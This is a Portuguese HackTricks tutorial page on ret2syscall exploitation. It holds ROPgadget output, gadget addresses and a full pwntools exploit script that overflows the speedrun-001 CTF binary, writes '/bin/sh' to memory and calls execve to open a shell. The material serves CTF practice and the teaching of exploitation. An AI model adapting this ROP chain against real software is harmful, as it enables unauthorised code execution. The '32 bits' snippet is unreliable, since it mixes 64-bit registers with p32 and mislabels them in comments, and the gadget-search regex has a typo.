# Ret2syscall
{% hint style="success" %}
Aprenda e pratique Hacking AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
## Informações Básicas
Isso é semelhante ao Ret2lib, no entanto, neste caso não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Esta técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
Para preparar a chamada para a **syscall**, é necessária a seguinte configuração:
* `rax: 59 Especificar sys_execve`
* `rdi: ptr para "/bin/sh" especificar arquivo a ser executado`
* `rsi: 0 especificar nenhum argumento passado`
* `rdx: 0 especificar nenhuma variável de ambiente passada`
Então, basicamente, é necessário escrever a string `/bin/sh` em algum lugar e depois realizar a `syscall` (ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever `/bin/sh` em uma área conhecida.
{% hint style="success" %}
Outra syscall interessante para chamar é **`mprotect`** que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [ret2shellcode](stack-shellcode.md).
{% endhint %}
## Gadgets de Registro
Vamos começar encontrando **como controlar esses registradores**:
```c
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Com esses endereços, é possível **escrever o conteúdo na pilha e carregá-lo nos registradores**.
## Escrever string
### Memória gravável
Primeiro, você precisa encontrar um lugar gravável na memória.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Escrever String na memória
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço
```bash
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatizar a cadeia ROP
O seguinte comando cria uma cadeia ROP completa `sys_execve` dada uma binário estático quando há gadgets write-what-where e instruções syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Gadgets Faltando
Se você está **faltando gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
{% endcontent-ref %}
Pode haver gadgets na região vDSO, que é usada para mudar do modo usuário para o modo kernel. Nesse tipo de desafio, geralmente uma imagem do kernel é fornecida para despejar a região vDSO.
## Exemplo de Exploit
```python
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
```
## Outros Exemplos & Referências
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bits, sem PIE, nx, escreva em alguma memória um ROP para chamar `execve` e pule lá.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bits, nx, sem PIE, escreva em alguma memória um ROP para chamar `execve` e pule lá. Para escrever na pilha, uma função que realiza operações matemáticas é abusada.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sem PIE, nx, canário BF, escreva em alguma memória um ROP para chamar `execve` e pule lá.
* [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
* 32 bits, sem ASLR, use vDSO para encontrar gadgets ROP e chamar `execve`.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}